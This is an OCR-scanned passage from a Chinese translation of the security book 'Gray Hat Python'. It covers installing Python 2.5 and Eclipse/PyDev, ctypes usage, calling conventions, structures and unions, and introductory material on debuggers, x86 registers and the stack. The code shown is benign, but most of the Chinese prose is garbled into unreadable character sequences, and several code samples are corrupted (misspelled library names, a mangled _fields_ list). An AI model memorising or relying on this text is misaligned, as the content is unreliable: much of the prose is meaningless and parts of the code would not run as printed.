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VMWare?E 305 4 M3 FRAE T KRG RO ERILEE, @A ALX kRl &, ¥nTE
Jifi B 42 4= W IR A 72 P DLLE R HOLML o 3 A O 1 T R KA LI B AT S i, KKK
{7 &R R BRI KB, FHERAE T e EREN T P&, R LIFEVMware
ML % #53% http://www.vmware.com/appliances/#% FIiX 26 i 01 5 % 5418, I
\http:waw.vmwa:e,conﬁpmducts!playerf 3 VR BIT  E ) KE S LR I 2R /

1.2 KW A% Python 2.5

EKiexf T Linux A7 80 Windows HIJ™, %% Python #fIUSE—HEAIET) KK /M.
Windows J )" B £ 52 B NI LB F BB, B R E B kOl R, e
Linux *F& &, H7 TG EAT LA B0 54 At 4 320 BB v .

1.2.1 7 Windows %% Python

Windows H1 /7 5 %2 B 56 M Python =5 ™ BAH N 1 23 FE . IR A X AN e 364 P
(http://python.org/ftp/python/2.5.1/python-2.5.1.msi), F4%Z ML R5glts— AP EREIn], 423k
FER AN H 3% C:/Python25/. FRI4 0] LLZEIXAS H % 3/ B 4% python.exe LA
J Python H 47 [P T BRI BRA B .

EE: A AP AR LA 4% K Immunity Debugger., Immunity Debugger #9436,
BT O MKEAGZ o, EEIET Python 2.5 S ¥425, AE@AEY P, S5 2UEA
xE#E R T EREE, AL BAEREIN—B B8 TR FX, KTAMR
http://debugger.immunityinc.com/ 3% JX Immunity Debugger #2/5% & 6L VAR H A0 % 6945 F13 6.,

1.2.2 7£ Linux %% Python

LAE Linux V5 T %% Python 2.5, R4 HAT BN AUUEACR SCAF 0 2L T 4 13
XAt 7 A VR AEUE 2 AUE HI A L3R . IRAT LUK R E 3 M ATX 4> Python [
i, PREZIIE 7 RS0 T IHA FIAA Python RREEIASE. 1 A9 2 ke il FE R Bt i iR L8 LA
root H1 /7 (1) 5 3 Bk IF AT W F B i 4

B 5E FEOF#R K Python 2.5 (OIS AL, JFIE — N 2T &R, JHFMALLF @4

# cd fusr/local/

# wget http://python.org/ftp/python/2.5.1/Python-2.5.1.tgz

2
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$1% BEFARE

# tar -zxvf Python-2.5.1l.tgz
# mv Python-2.5.1 Python25
# cd Python25

HLE PR fU 22 8 F Ak s 2 H s&/usr/local/Python25 ., F— /N0 Bk & PAR S (1) 4
PR d, A URE RGN — FIXN B Python B4R AERS IE Wiz ¥

# ./configure --prefix=/usr/local/Python25

# make && make install

# pwd

/usr/local/Python25

# python

Python 2.5.1 (r251:54863, Mar 14 2012, 07:39:18)

[GCC 3.4.6 20060404 (Red Hat 3.4.6-8)] on Linux2

Type "help", "copyright", "credits" or "license" for more information.

2>

PRAEAR IE 5 Ab T~ Python 28 H 3\ shell Z ', BEES[F) Python filHE 4% 1F7E Wr VR (R &
% EIRAC— 2L 16] 5 (R R A 58— N IRATTAT 4 A ¥) Python $i5 4 J& 75 LAE A (#) 77 X 9k %
FHAT

>>> print "Hello World!™

Hello World!

>>> exit()
#

g T HADA IOl mBAT B U AR IE e . A TAEARI A P BT R R RE RS F1 3
FEALEIX A Python fi#FE 28, VRIET Z 444 — F RGACE L {H/root/ bashre. T A nano
a4 245 K SE I AT (M SCA G AR, SRRt T BLUEFATE 3K B SRR NT 1 48 25 .
RAEHT H/root/ bashre LM, FECHF B G I LA FiXATA0HS

export PATH=/usr/local/Python25/:$PATH

IXAT A4 ) Linux A48 & PATH ¥ T — & B #42, X root 76 F— i)
1X/ Python B350 E M HcBMNER. ATHX S REAER KREEZH KA
48, HFEK LA root F P ) 5 Bk PR . BEE IMATE R Z), S 4R4E dr 247 R4\ python i,
Python f# B 2805 A1 IR /R (5 BE S EAIRIIPIE .

BAELWZTE Linux a2 Windows F#BA T NIhfiEf# 4= (1) Python filRE 28 B I 45
e % FRBAVEEE 5 HPERIT B (IDE). WRROCEH T — kG0N T1
IDE 3£85, {Rtnf Lz fEskicl F-—.




Python A& #§ F—— % % 15 i &) T42 )7 89 Python % 42 % if

1.3 ‘&% Eclipse fil PyDeyrl

A T A¥ Python FEFF T & 5 FEGEW @, (EHE, 58— Ihhgsm K # IDE 4
LA LB, 1 B AUk FAT O R EREE Eclipse 7E45 & T PyDev fifFEiH G B
AJ ok PR3P R ] 73 R g K RF . A, Eclipse W LLIZ4T/E Windows. Linux fl Mac
=MERTFET, FHAE A X R AR E M E Eclipse BLA PyDev
W R SRE T,

i 5 M http://www.eclipse.org/downloads/ F#X Eclipse Classic %3511, .
fqafﬁJi._i-IJ H % C:\Eclipse F.
iZ4T C:\Eclipse\eclipse.exe.
*q Eclipse %A 8N, FFSIRRIER THES R, KA RIS
IBEARRI A, Jfik b S EHE Use this as default and do not ask again CHEf 08 B /E BRA M 3
HABHED, R5Hdi OK (FiE) #&4.

5. {F Eclipse 5¢ )3 8l fi5, £+F Help (FBh) =»Software Updates (3 F) 2 Find
and Install (R ZE).

6. & it Hl Search for new features to install (B EZERFTIRERMA), it
Next (F—2F) #4l.

7. E XA HES L New Remote Site (FratmfBEy A #:4.

8. £ECACHE Name (BHK) 4 4 BKF 22 (KR — BAiid v (1) 307, 6110 PyDev Update.
W ORVRIG SCAHE URL P HERC AL 5 LU URL Hbht: http://fpydev.sourceforge. net/updates/”,
Pt OK (HisE) 4, 2A)5 9 Finish (5ER) #1007 5h Eclipse THEFYT .

9. HEAEHESE R ZIZ GBI, EIFWESIRPHTES% H PyDev Update, X H
LA PyDev T, Hiili Next (F—25) #&él.

10. {EPREE5E PyDev MVFRJUE RN Z J5, &P iE4% 4] I accept the terms in the
license agreement (FRESZVF ] HHill P ALK

11. #iii Next CF—25) &8, 7 5iili Finish (58R) #4. RS 7 ) Eclipse I 45 F
# PyDev ¥ e . /6 FESERSG, #iili Install Al (28B%3E) 4.

12. £t PyDev ffifH i e 45 5 45 3 — MRZRXHEHE, 5505 % Yes #44l, Eclipse
BER R, XXV ] PyDev B O 4L i fE T R F S,

W =

I

: Eclipse 15 PyDev Jil H b fE AWM 44 5 S B, i aTHUB RS A B EE ST IR G .
'r'"-': XA Mt 7E 88 1F TAESEAT I C 8T A hup:/pyder.org/update.




F1¥F BRERIFARR

R B AL S T 4E B 2E0af% PyDev BEHAEDAT IIASIN , AEGSHR 3 IEMAY) Python fFEAS:
. TF Eclipse 5¢ i85, %+F Window (% [1) = Preferences (HIEW) :

]

2. JEJFIE 4 H PyDev, i%£#f Interpreter — Python;

3. FHBIXHEHE X 1 Python Interpreters, i New (@) $#%&4:

4. it SC S 2% 4R B A C:\Python25\python.exe Jfi&H, Hiii Open #4;

5. PRATLALE R —ANAHEHE S 2 2 50 AR B 8% 0T U i) 2 (¥ Python FEFIE, 1R JCTH FHE

SRR, HEEHS OK (Bhe) #4l;

6. A RS OK #4145 Python R 45 1 AC B 1L .

BRYE PyDev Bk CL8n] LLZEHE T, &84 I IRAT1 568 e3¢ (1) Python 2.5 MR 3% K 01T
MA . EPRIESFEREatoRT, M Y508 —ANFr i PyDev i H , XN R H T A0 20
EA P T AR . B Re AN H -

1. #%+% File (3C#F) 2 New (FH#E) >Project (FH) ;

2. JEIFHIEZ H PyDev, %+ PyDev Project. iili Next (F—35) el 4kaL,

3. XTI H iy 4 4 Gray Hat Python. H.ifi Finish (58R%) ##l.

PR¥EFE RS Eclipse TH ¥ T F 010940 5, mRNIA B Python Yi[H Gray Hat
Python IE B /- fERF AR ZE B0 . 3 FORA s A B sd i sre 30398, JFIEFE New = PyDev
Module. 7F3CAHE Name ', #iA chapterl-test, f.ifi Finish (5gaR) #4#. WiH i<
Bifi -z 5387, VR 2 n] LA BN ) Python LAY chapterl-test.py CLE g INA AR 2 .

#7 2 M\ Eclipse 2155 F AT Python A, R sl T L7 T HF 9 ) Run As $£ 41 (4%
g e, Pl A aagik) BN, SHAMERE e R 3 eSS Crl-F11,
XA RFEEO RS E IR PATE A . 20R1E Eclipse 388 FIiZTHIA S, AHRY () FRHE
45 SR8 R EA2 T Eclipse S KA AEEHI & HAR S+, AL BRE a7
I, PREVERH]Z Eclipse 1N B 445t 4T JF T chapter1-test 3CAF IS5 45 /R%IA
anH 8% — Mt 32 (1) Python fRA5 .

1.3.1 ZE#®XK. ctype &

ctype FERR T 7 RERLLT Cili 5 —FIIRZBRIEGES), M & X AR 2h &8 & (E5E
A, AR IR KL ctype BIHRAE IR g 68 42170 5 45 1 ] 3h &5 e PE b H
FH R EiLATEFREARVRT LIOELL ctype M R 24 C BlEARY, JF4'S H A &KE
WNAFBRFRE DN T REH . AP B MEAENAREE FAOH T X — g miat AR, Hit
HEfF ctype JE () LA JRHE B4 O sOW R I B S E .




Python & 18 F——%2% 5 ## & T42Jf &9 Python %42 Z i

1.3.2 {ERHamTS8®EE

i ctype 2 RIHR B 567 ZX shA T E R B AT S U5 AL B 71 . Sha& R %
A G AL e i R VR A BRI, ENTRAEEITIN A SR TR . 7E Windows
V- R — g SO R s AEREE (DLL), M4 Linux P& F X 86 S0 A RRE L
ZXI% (SO, 4K Shared Objecl). JLilExf THE—FpF&, X8 IS 2mL S
H R FAAFRI SOk RS T & a’mﬁ( XU ey 4 R T L 1) R 42 R T AR AR T ke Y
7o SR ) ek otk . £ Pthun‘I-' WO T XSO A R AL, R B AT T X ek
SHRE b, SEE R ctype FE fﬂmﬂé T AP “HEVE” (FRR .

Ctype B OE T —Fp AN [m ff’JzJJﬁ:fftﬁZ-lfr-JJ[lﬁk)J s edll()s windlIOAT oledll(). 1X =
Z I K HIAE T SRR () of B B 1 e ORI O AL R B G AR edliOH]
FImaE AR e ARG cdecl b el 00 205 FBEREE . windlQOWF T 28 5 L6 M stdcall iff
2058 B AT, stdeall 5% Win32 API Fi 48 16 5 A V2952 . B3 oledlOff) 4
Y4 XA windllOFEER ML, RAN oledlOS B EHBA MRS SR [Fl—4 Windows
HRESULT iR 4, XEEHTRGID L RS TR COM (XS8R s, Ml
FORETAE B

b ARG — AT B] 1, FRATEE 5 5 7E Windows #1 Linux “F& F M & H 1z 4TI
C e @b b e B printf O Ak, IR e L — %085 8. 7 Windows F, #h#:
T msvert.dll B IRATAIZITRS ¢ FE, AL T CAWINDOWS\system32\ ¥, 7 Linux F,
W& SCAF libe.so.6, SLERIALT B 76 HNib/ F . BLZEM Eclipse FB# #7°F I (] Python T 4f
Hk FaIE— A chapterl-printf.py, 4 LLFAGHD:

chapter1-printf.py (Windows & T)

from ctypes import *

mesvert = cdll.msvert

message_string = "Hello world!\n"
msvcert.printf ("Testing: %s", message_string)

LA 3 A BIAS ) i ) 45 28 -

C:\Python25> python chapterl-printf.py
Testing: Hello world!
C:\Python25>

ft Linux F, EXMPIFHRARESMAEAR, HREASIBOESHRINLSE. BED)
FUFRH) Linux 3355 F, fE/roov/ H 5% T 61— M4 SCAF chapterl-printf py .
6
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F1¥F BEFAKRE

chapter1-printf.py (Linux E&T)

from ctypes import *

libc = CDLL("libc.so.6")

message_string = "Hello world!\n"
libec.printf("Testing: %s", message_string)

PLF A2 Linux BRAS %0 H 45 %

# python /root/chapterl-printf.py
Testing: Hello world!
B

fi ctype HIAHBD, {EAIZhAREEAN T HREGRLIX AR R, EAHD, RiEkE K
B —HAR,  FrEA i R R EE @ & i T4 5 K

/r R EEANE ﬂ\
28 29 % (calling convention ) #3i£ T 4ot A E# 4G 5 XM L obdh & £ W6 Rde, X b ie
TREAMAR LS RIF, ARLEARKLMEANRY, AIEAMFRTFLEZEAN. ABLS
BB E i RBARG @R X F, REREHEARAERG BB E . cdeclFestdeall, cdeclif A 2
ERE BB S BT RANE G LGN, b RBGHNF R Fx R LAl SARRY
EAEXBORM LAk X 3 HCHIFB 2 A,
VAT & — A8 Medecl 29 & & 08 B 4T .
CEEBX

int python_rocks {reason_one, reason_ two, reason_three) ;
x86 LB THX

push reason_three

push reason_two

push reason._one

call python_rocks

add esp, 12

AR T 2L i 0 B) B R ATA N A8 R — T4 BRI O TRAB 1245 % (LA

EHOGIMERY, FAFBERINFINER, HFRELEATRASY) , KSR 4B LW
B ek,

stdcall ¥ i #9 5€ Ay Win32 APIFF )™ 34 B, ¥AF B 7 6 & — A Mstdeall#) & 69 3 238 7 41 F .

CEEBX

\ int my_socks (color_one color two, color_three);




Python % #§ F ——2 % 5 i &) T 42 4 Python %2 L if

(" x86 CRBEBX

push color_three

push color_two

push color_one

call my_ socks

EEAATFE, ARTAK B R ROABNF 534 T4 — 5, 7R —) K5 AT @i R SR T4
34k b R A TR, W bR A A A S my_socksE i AE @ W B AT 0 AR

e SR BT AR K 7 A R SO R 24 SR AR R M EAX A4 B A R MR WA,

J

1.3.3 #E C HiExa
Python K] T —Ff i R ks () 5 SOk IR G & C BB, Xak—NMNaiem
IR 04 IX PSR 4% S5 1) Python UG AERE S5 ATEEIL T C 8k C++8a 5 MBI T 48 #
&, XK T Python iX | 135 F I8 J1. W BER 1-1 GESEHE B RBE MR AL A BB BAE C.
Python PL Az ctypes ZS#Y 7 [0] (¥ % 4 5 X N oK & .
F1-1 BEAVERARE Python 5§ C Z MM X F
Python 38 ctypes 28

1-character string c_char

I-character Unicode string c_wchar

char int/long ¢_byte

char int/long c_ubyte

short int/long c_short

unsigned short int/long ¢_ushort

int int/long C_int

unsigned int int/long ¢_uint

long int/long c_long

unsigned long int/long c_ulong

long long int/long ¢_longlong

unsigned long long intlong ¢_ulonglong

float Float c_float

double float c_double

char * (NULL terminated) string or none c_char_p

wchar_t * (NULL terminated) unicode or none ¢_wchar_p

void * int/long or none ¢_void_p




1 ¥ PRI ARN

YR AT LA R NARFIVE BN 2 IR RS Sk, LABIPRISIZ AR . ctype 2B 7E 75 B
AT LA 52 — WAL IRE, X AME AU % IEF R B K/ . BUR 2 — 22 ) S iy 7l
BRAETFJ3—~ Python A€ B3 shell, FFHIALAF B 261 4CHS :

C:\Python25> python.exe

Python 2.5 {r25:51908, Sep 19 2006, 09:52:17) [MSC v.1310 32 bit (Intel)]
on win32

Type "help", "copyright®, "credits" or "license" for more information.

>»>> from ctypes import *

>>> c_int()

c_long(0)

>>> c¢_char_ p("Hello world!")

c_char_p({'Hello world!')

>>> c_ushort(-5)

c¢_ushort (65531)

-

>>»> geitz = c_char p("loves the python")

>>> print seitz

c_char_p('loves the python')

»»>> print seitz.value

loves the python

>>> exit()

WG — AR AN R FFF R “loves the python” 1) ctype $85 51 Bt 25 25 B {H seitz.
bt 5 BATE L Vi ) seitz.value F7 2R IREUIE & BTG M AN 28, RAIFRIXAN L FE h 5 5|

(dereferencing) — %l .

1.3.4 #5|HES

£ C M C++, ML —DMEEHE L LS BB A 0L 7] 25 AR, B X AR T A
{ R H 1 XA WAF U BE RIS 8, 88 55— b T S A & R B T A,
FHAAE Z 20 FIRCR . TRt LR RS IL, ctype SREEM byref() ek 5T AE 8 151 1
BURME g . W RARE B A LR HE A S B R A, R LUR A F R R

function_main( byref(parameter) ).

1.3.5 EXEHEFNEEK

ik1A (structure) FIEEA 1A Cunion) EPIFPHH EIEEAREM, KA EMILE R
fEGAAKIY) Win 32 APL ', & REFE Linux “FA N libe FEFR B S . — Mk AR
EIUR —H MR SA MR A& . R CUEEERF “7 i S S — Ak R

9
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Python &8 F——2 % 5 i 6 T42 )7 & Python % F2Z il

AFft. i beer_recipe.amt_barley, X #)fCASE NV il £5#4K beer_recipe K 51 AL B
amt_barley. Fi4H£5 H7E C Al Python Z 9 5E &5 FA (ali il % AR struct) HIB1F

£/ C EXEHMIK
struct beer_recipe

{
int amt_barley;
int amt_water;

i
£ f Python E X £tk

class beer_recipe (Structure):
Sfields . =]

("amt_barley", c_int),
("amt_water", c_int},

]

IEIPRAT W, ctypes M3 IRATAT LLZE Python 4% 5 Hib# tH 3R AT C ML MRS,
TEFE R, X A E Al PRI AR SE R TR G, 3RABIF AN R SR L
PR KFE K.

BEE AR E X R S ka4, R, SE&EMERERE, BadEhas
AR AT REILER AN AAhE, WX R R, S HHUMJ AW T[] — M
AFERIFRIIER . T HIEE) -8R T W] BA=FpA ) 20k 5 S [ -— AN ..

#CH

union {

long barley_long:;
int barley_int;

char barley_char([8];
}barley_amount;

#£ Python &

class barley_amount (Union) :
Egelds ey

("barley_long", c_long),
("barley int®, o int);
(*barley char", c.char * 8),

]

# K5 1K barley_amount " )l 52 45 & barley_int $ZBE A 66, FR AT LU Ui ) %5 —A4
Ji% 71 barley_char KHUFF XM BUEAHN M) LR RN . EAEOR, G138 A S

10




chapter]-unions.py, FF4iALLFAHS:

chapter1-unions.py

from ctypes import *

class barley_amount (Union) :
aftelde =1

("barley long", c¢_long},
("barley ink", c.int),
("barley char", c_char * 8},

]
value = raw_input ("Enter the amount of barley to put into the beer vat:")

my_barley = barley_amount (int (value))

print "Barley amount as a long: %1d" % my_barley.barley_ long
print "Barley amount as an int: %d" % my _barley.barley long
print "Barley amount as a char: %s" % my_barley.barley_char

XA RIS (4 H n B B

C:\Python25>> python chapterl-unions.py

Enter the amount of barley to put into the beer vat: 66
Barley amount as a long: 66

Barley amount as an int: 66

Barley amount as a char: B

C:\Python25>

EEr W, RGNS AR —OEE, REER T X MEN =R AR KR
MR . R RN A& barley_char [F)5i H 45 A PTEERR, A ICAEFFT B XN K ASCIL
W ME I J& 66.

barley_char ¥ 48 B2 48 ctype & SCEUHL I — AN MEAESEH] . — A ctype BB LK
BE R R E 5o EAN BRI E . fEZRTIXMEF, A28 & barley_char #5E XA
— MU 8 MNFR T HE AL

BAE, IR 25 IE IR ERE RGO & L& T 5847 1) Python 2A8E, 1 H X {# ] Python
SRR EATAR B WA BT T % . BRLE S IHRIE B AR B2 30 1) iR 2 B 3 BE 2 )3 )
THRMEETART. BREART!




F2F AKXEEEINIT

PR MRR N “ R 27, PSS VRARE IRES— MR IE AT RS, AR Z A
BAEDHTHEA . shESHEARARLESE FRNHRELAT DN, thin: TFRETZ2HR
TS ki ) exploit F2IF, S E A fuzzing MGCHEZLE T i 2 s 04 h T2, BL&
TR A DR T AR R R A PR A DA B L T A SR AT X R A TAE R K,
R % A B G B R AR T R A R S Th . K EOA RS E R & LU A
hfg: 24T, EERAT R RAT, Btk ANARS. WE WM. B RES WN AR
{8 PA R A 3K & 2B 70 B bt R b 0 5 8 $ k.

EBRATRNHE XN A Z 0T, AR T M — FaREEE S R HEHA
Bt X 5. dak 2 BOT TG UL IDE il #4 g — A ik eg, HT ST
BN AT FE AT SRS 4 ) (R ERER 5 K, IXFR RIS 00 it iR =8 RE 84 F o %
AR O B AR U M 2 A i U RE ) o XU B RR Oh A SRS, e mE A T
AT R B B . SR ASSE [ 2 0306 ) TR0 DL R IR A 3 N D ke 3, fe 8 BB R HR
A AR DR A, DRI IRATT A 20 A BB A A 8% ok H A Fe b T BR R . Uik a%
BT —AMB e, ARER 2 5 ZE AT 1 B AR T R KR 2 — e AN E Y R
B, SEEME— ARG LR A AR AL LU gm AR X R IR R g ah . sl IX R ik
K B AU i ANl B 2 AN TR B R B LA B RE I (RO R, AR T — ML 35 A 380 fi) TR
TEAE e E L X Fh 7 RN FL R H AR R %, AR, MERABWRERRPFAESE
EEAR A TT R AN R G0 AT B IR 2 () ER A !

MR M P B SSMAZERSES. P& CGER RN ring) &
15 CPU Ab#E 85 7E AT N I F2 A QIS I B Ak 1) — R s RS, P & R R 2 2 BUAIG
BORIZITIR . B, MRRE ) cale.exe KUEAT A THRN, MRSCER bR 24
— N P SRR S 2T A B . WRR B XA RS AT IR EE, IR R A -
PAEEIENT . AEE (ingd) WARE T Sl (PR, #B9E RS N, EF




F2F AKXERENRT

ARSI — REE A FRIEITAENEE T o 4 RME A Wireshark RERM LR B LI, FR
Lk EIFAER—ATAEEAES FOMN KRR FTA B . MR R — i 2| 51X
AR FEFF I HA A SR B AR AR IX S T AL VDR, IR S5 Bh— A S TR L 45K
SERX I TAE .

IX L H L AN 0 ) RS R PR s A P A A Es . TRHEH ) WinDbg il
Oleh Yuschuk JF & 3 % 9 & A7 (1114 2% OllyDbg. *4#k7E Linux BR8E FEEAT AN, fRA &8
afat ) T HARAER) GNU 488 (gdb). X =AM aS A8 H &40 2 e K shg, 1o HIL
AR — R A H A U S A A B2 IR

R 1M, iu FJLFEF RIS TRARBD, XIUHEE Windows V&5 F. Friff
e IEA R E RSB RS, 8@l T2 A THREREAR, Ifjn:};:léﬁlﬁ’ﬂ
AW CFFH P BATR B HANM . @l Xeire 0, a8 a8 o0 AR 4E hook 55 Wit
KBS Thae: F P EERIFAHAT AR, L1 T ka2 0 8w m) TR ) &2 4.
PEIX AN B0 T BIASF XS #, 43 9 2 tH Pedram Amini 71 & [f) PyDbg Fil 1 Immunity
/y A R A7 [¥) Immunity Debugger.

PyDbg &4l Python SCELM A4S . {5H) PyDbg, M2 N 4L Python
A fE SEER 2 a4k i 3EFE 5l . Immunity Debugger & — AN XUR 2541 OllyDbg ) ] JE 46 3¢
M RAS, WREAELMIEATIBEA Immunity Debugger F 155 T ik, If H Immunity
Debugger #1471 — 34 4 1L 8 K 58 K ) Python FE . VR¥FAEA 15 10 J5 =515 vh 19 31 4 2%
XAV IAZE M VEA /4 . BRAE S L IRATR R A — N A T

EARTEY, TWATFFTEXN ZRUR T x86 FFE FHIH AN . BRATE BN L&
HAMN) CPU W REHIFIRANT, Bl G BATH S AEHLE], IS - 20888 (0 454 BEA T4
fr. TWATHI BAr bR RS EAETRERSZ PR B ORI ESMAED, Hitk s e mix
SO 2 E S TURR BB R E R

2.1 WA

AT A7 45 AT AN N AL T CPU L[/ B A7 il 3%, CPU SREUER it et 7 sk & B
i) &7 f7 4% . 1E x86 2 HEH, 4~ CPU AAy 8 MMli % f78%: EAX. EDX. ECX. ESI.
EDI. EBP. ESP fil EBX. PR 7TiX 8 ANl 4725 LLAE, B4 45 HoAh M i 25 fr 2% mT it
CPU Viia], A AR EHE P RXRFARMLENNH. X 8 MNEHAFFRP M
—ANERBE L T R Fli&, CPU FE0AT B4l 52 15 4 I 5 B4 5 (1) 27 17 2% UME DL s 20t 5

13




Python &8 F——2 % 5 i¥ &) L#2 )7 &) Python %22 if

LR A HAT L FE . BRI /788 % A @R R Wt — N I A . Rib3R
(1R 4G — A A A7 88 S L Th AT A 4, SR A — AN /AN T5 1930 [7) TAE 15K 1) 4% )
e H A&

EAX 2517 aS gl Fc o Bnas, HTpBhh AT Wik s S e BL A 4434 ph %0
FHER B . 76 x86 Fi 4 PR L LI HE 2SR EE 5 A S EAX F A7 4%,
X AR AT PV, KA ES W ik, siEmtegE T
{fif EAX FAF8RIERBIEASIRIALMRE . B SRk R 2t R bRk ) 24 20 7
EAX 27 {78 P17,

2z ATk, eRECHH IR PHER A A EAX S frae . FidiX—rmREE, frnf
PAE T A6 E EAX A FAE R ) A el B0 H BT AT B B A JE pe Dhids /& R T - B T A /K
KRR EMESE, EAX A7 1) th n] 68 & — N D) 1) R BOR [9I4E

EDX &M EIE A 7 a8 . XANF A0 LA EAX P8R ey, H T
Wy g A G545 4, W FrfbRik, EDX #H TA7ffix ety &8k B Hodis
5. EDX UL A H R0, (HRILEH WA AR EAX A aks
i, CAPp i ITIXEE A E I .

ECX 77 f7ran R bR A vHEEs, HI T SCRAAar it . 16l — AN 75 & B 3T v Somt &
LAY R ER R . T ERFAIE R A2 ECX T 7481l 7 2 R miH ), MdEE m k. A
HIELF i Python A885 - B A 1) 5K [i) AR 15 B 3 A fia] 18 -

counter=0

while counter<10:

print “Loop number: %d” % counter
counter += 1

i FARE X BACHES (2 48 F I a8 5 R R oR, IR A7EARRS AT 3158 — A ER I ECX
(IE A 10, RS HAT 228 K ER I ECX PIOME M 9, WtkiER, H P ECX {h#k
R4 FEE, R, AR ATHEUEF S Python ARG S A A R, Xt
o ib R B R, (RS C 7RI GRS s T S R e S R BEAT IR, TR Y 24 % e ) DA
A o

fE x86 VL4 ih 5, ALl FBEE AL B I R fE MK T EST M EDI X AN 25 A7 4%
LS B e 3 B B . EST A A7 aR R ROV IR 5 4788, XA A A7 Ao A7l A i A\ B
WHIPLEAS S . EDI 27 7725 WIS [0 A O BAE H A 45 04U A B, BATTRRIL A H 48t
W Arae. ATLATRC N BSI AT “E”, 1 EDI T “57. ¥R/t i miEdat&
5170 H 220k 25 17 2% o] LLAR K Ho 38 B2 R 4T I 80% .
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F2¥ AXBEREFPR

ESP F1 EBP 27 728 4> DI R AR AR 3R ML bE3RE . X Lo 27 A7 a8 T35 i) of 200 FH A
KMARERE . R BOR R, ﬁﬂﬂﬁEW%ﬁmﬁMmﬂ%ﬁﬁﬁWA%ﬁﬁwo
ESP 277 8% 4 24417 17) bR B A0 Be T, bl b A 3 HE K o 0 R R B0 AR i — %), ESP
ﬁWTm&MLMhM EBP #7258 145 ml R EAR 10 i . fERLETS L R, WiFash
T4 040 B 7T e 2 5ok EBP 77 17 a8 F MGk idg &t . fEIXFREM T, # “BM” HK
(¥ EBP 75 £7 % il LR LA AT Aol — AN a7 A7 28— FE D flre H .

EBX 2774 Ml —— /A SR @ R sk Fl& () 27 7748 . & nT LABEAE A BiAR A7 i 4. o
KAEH

5 Ah ANV 2 R K () AT A7 28 A EIP 4788 o XN A7 A7 85 RA 2445 17 2 AT IEAE AT 454
M CPU HAT T i HRAS R B, EIP 2577 2% b ({5 Bl 2 55T LAS I e e > s AR 65 B 04T 31
I

AR AS Y. 2 fil 5 4 B S U B OX B AF R A . BEMRIERGH SR
A IMER LB AE® 5 CPU #1TACH, DIRINE B HoX & fras P e, BRI&EE T
FEAT R L [ T A e SR e A R MR R0 .

22 &

BRAE AR ER RS, BRI T RS IEE B, kP rEd
%R BT HOR AT B (R R, XA e B Bl 1) 2 B L% o BE AT 45 RS i T ]
AR R . B —A “SERtEH” (FILO) MBIRLH, 2 ¥7E o ¥ R i AR F
TERR & A 5 ik . ESP A7 74 H Tid sk AT AR i O TH 3, 170 EBP 27 4728 W A F-id 3%
SHTER D R . o B A AF bk () A AR AL T ) M . R BRATIE FY 2 AT K 1
bR B my_socks() 24— ] 8 9 - 5K i) URIBE R B ] T AR .

C R¢sNRYeE A A

int my_socks(color_one, color_two, color_three);

x86 [ 4wz Y R 8A A

push color_three

push color_two

push color_one
call my_socks

] 2-1 [ PRIE R T SRR 04 4 A i 150




Python & 18 F——2 & 5 i# &) TA2Jf &9 Python % #2 Z il

ESP # 738 —— 3E [B] i hE

color_one

color_two HEHEE M

color_three

EBP FF F 8 ——— o A

Bl 2-1  eA%L my_socksO# 8 FH B 6 ko 43 A1 4% 10

IEAPRAT ML, RRRE — PR A R A A B 454 . R AR oh A T S B e R R L
W HAT . 2 my_socksO R EGR[FINF, BRES AL TR L ALK A AR, B F ROk BE
Ferig[Eluhl, FFAEMER my_socks() “YHMI#E " M) L —ANR¥rh ke AT, B Hkk
MRS AL SR AR R . JR AR B —Se ) RO E AR b it 3 Ut 224 Aot 1 S ) o 0 i)
MAEDK . AL BRATIRNT my_socksQERBLIA VR FIARHEAT — 2547 B8, RAME my_socks()
oA BT AR SR P R P ] — AN TR RO, XA R RS % T4 13 3L color_one
e AHSRHARRS I B TR s

int my_sock(color_one, color_two, color_three)

{
char stinky_sock_color_one[l0];

}

T 1t iR A2 stinky_sock_color_one T 7 ) A 7K 4% 43 BOAE >4 i f) bR ok |, i
FERRE my_sock O AT ATE 1 O o ok ol iy i) 51 J 3 28 i (4041« 76 0 5 B A8 i 400 T AH
NN Z )G, B LR A RS i & 2-2 FrR.

IRAEARRY 24 0] DAFE $1) Ja) R AR 5t /2 e 4 53 O /6 R Bk 10, UL AR T 6 %7 77 28 ESP 1)
(e G oy 328 20 35 498 DLARAF 20 26 435 1) BRI T00 30 o i AR MITA BE 15— AN R Be ks AR
AR R A S 0L, U088 AE NS S BRER SR BOR I B, C R R “ iR
R () (AR AR R, I Rl BRI T AR S A (it S




2% KB REAR

stinky sock_color_one

i [B] 4

color_one

coloE, b Ak 4 0

color_three

EBP 778§ — 01 X s gf

& 2-2 1‘| Jy J& 4% & stinky_sock_color_one 43 B¢ 1 P72 Ja Bl it 53 A i

2.3 il 9k

VA N AR SE BB — AR RS, XAMAEEPAT K, S H QA “H
£ RE, U rrf-’rlﬁ‘iwt-h‘f’#-Fr’J&i;o H MRS R AR, SSRGS, R

FH I A b FR 51 P AL B FE 0

HIAFA I GIREBOR A N, SRR B AR IR AT S5 A U K 28450 L T 4k 48 (1)
fam. — VKSR AEH IR LU F LA WA A

o W7 A

o ARENTFERIE (L lfR A AR V) 1) 803 BB R

oty U R P ol L R

BAEAF R B MR 7 U X LR R IRG AR, RIVKEERTR S
BERGHRPFENH TFUNME. EHERERS S, BT U ESHM 3 s,
AR AR RS, BRI, BE P RRERENZETN S
Ao FRATTHFIE il Xof 3K ey R ST ) A AT A4

AT LA B A B sh () AR A — MR KRS F P T DOdE B E SCH AL F )RR
K A CIAT R L RAES . Bl SBEREAFBRAE SRR — A8 5 A 5
A X, NEXRARAFAEESIIRBERANNE. EUERN R dE S,
BAEAREAFTRELE, A THIAREFAEZFXE S, We30Ed T35 50
A BEAT AT HL, SR AT AR U BT S R A 45 BN o Tl ek 57 P 8 A <7 ek o) A 0 o 11 1 K 2%
R ULETRE —MEIA, BaRERGMHXER, MERSRRBETF
ZH. & TP eI B A E 67 1 fe 0 AU AR 4 KR m i a], 7 B KK
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Python & 8 F——2 % 5 i & T 427 69 Python A2 Z i

R AR RN .

2.4 WAl

I B T A IRAT T A — AN AR BT E R A R R A OALE B
IR AT LA FR PP AR . AR I'.fﬁ]%ﬁu,&ﬁlﬁﬁ}ﬁd%}ti‘ﬁ[ﬂﬂ‘é‘r HHAE H AR X X L
HATFT A Z AT EA TR TR, BABER, Koo RURERE P W T e, &
AT AT 2 M NA A — DRSS — SR ﬁ%%di%iﬂfﬁﬁﬂﬂl Wi, BEFIT
PRI IR . RERRE RN A A AT 0, (EREA A R 77 FORSEB .

241 =

BT R BEBE A H PRERRAE AT B T2 e AL B HIHR -2 MRS HAT . BT 2 H AT
